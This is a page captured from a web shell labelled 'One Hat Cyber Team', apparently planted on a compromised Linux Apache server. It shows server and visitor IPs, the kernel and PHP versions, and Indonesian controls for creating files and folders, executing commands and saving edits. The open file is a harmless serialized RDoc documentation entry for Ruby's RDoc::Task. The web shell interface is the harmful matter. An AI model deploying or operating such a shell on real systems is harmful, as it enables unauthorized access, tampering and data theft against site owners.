⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
RDoc
/
Task
/
Edit File: cdesc-Task.ri
U:RDoc::NormalClass[iI" Task:ETI"RDoc::Task;TI"Rake::TaskLib;To:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[I"ORDoc::Task creates the following rake tasks to generate and clean up RDoc ;TI"output:;To:RDoc::Markup::BlankLine o:RDoc::Markup::List: @type: LABEL:@items[o:RDoc::Markup::ListItem:@label[I" rdoc;T;[o; ;[I""Main task for this RDoc task.;T@o;;[I"clobber_rdoc;T;[o; ;[I"PDelete all the rdoc files. This target is automatically added to the main ;TI"clobber target.;T@o;;[I"rerdoc;T;[o; ;[I"KRebuild the rdoc files from scratch, even if they are not out of date.;T@o; ;[I"Simple Example:;T@o:RDoc::Markup::Verbatim;[I"require 'rdoc/task' ;TI" ;TI"RDoc::Task.new do |rdoc| ;TI"! rdoc.main = "README.rdoc" ;TI"= rdoc.rdoc_files.include("README.rdoc", "lib/**/*.rb") ;TI" end ;T:@format0o; ;[I"LThe +rdoc+ object passed to the block is an RDoc::Task object. See the ;TI"Rattributes list for the RDoc::Task class for available customization options.;T@S:RDoc::Markup::Heading: leveli: textI"$Specifying different task names;T@o; ;[I"HYou may wish to give the task a different name, such as if you are ;TI"Pgenerating two sets of documentation. For instance, if you want to have a ;TI"@development set of documentation including private methods:;T@o;;[I"require 'rdoc/task' ;TI" ;TI"(RDoc::Task.new :rdoc_dev do |rdoc| ;TI" rdoc.main = "README.doc" ;TI"= rdoc.rdoc_files.include("README.rdoc", "lib/**/*.rb") ;TI" rdoc.options << "--all" ;TI" end ;T;0o; ;[I"7The tasks would then be named :<em>rdoc_dev</em>, ;TI"::clobber_<em>rdoc_dev</em>, and :re<em>rdoc_dev</em>.;T@o; ;[I"NIf you wish to have completely different task names, then pass a Hash as ;TI"Ifirst argument. With the <tt>:rdoc</tt>, <tt>:clobber_rdoc</tt> and ;TI"O<tt>:rerdoc</tt> options, you can customize the task names to your liking.;T@o; ;[I"For example:;T@o;;[ I"require 'rdoc/task' ;TI" ;TI"DRDoc::Task.new(:rdoc => "rdoc", :clobber_rdoc => "rdoc:clean", ;TI"- :rerdoc => "rdoc:force") ;T;0o; ;[I"IThis will create the tasks <tt>:rdoc</tt>, <tt>:rdoc:clean</tt> and ;TI"<tt>:rdoc:force</tt>.;T: @fileI"lib/rdoc/task.rb;T:0@omit_headings_from_table_of_contents_below0;0;0[[ I" external;TI"RW;T:publicFI"lib/rdoc/task.rb;T[ I"generator;T@d;F@e[ I" main;T@d;F@e[ I"markup;T@d;F@e[ I" name;T@d;F@e[ I"options;T@d;F@e[ I" rdoc_dir;T@d;F@e[ I"rdoc_files;T@d;F@e[ I" template;T@d;F@e[ I" title;T@d;F@e[ [ [[I" class;T[[;[[I"new;T@e[:protected[ [:private[ [I" instance;T[[;[ [I"before_running_rdoc;T@e[I"check_names;T@e[I"clobber_task_description;T@e[I" defaults;T@e[I"define;T@e[I"option_list;T@e[I"rdoc_task_description;T@e[I"rerdoc_task_description;T@e[;[ [;[ [I"clobber_task_name;T@e[I"rdoc_target;T@e[I"rdoc_task_name;T@e[I"rerdoc_task_name;T@e[ [U:RDoc::Context::Section[i 0o;;[ ;0;0[@`@`cRDoc::TopLevel
Simpan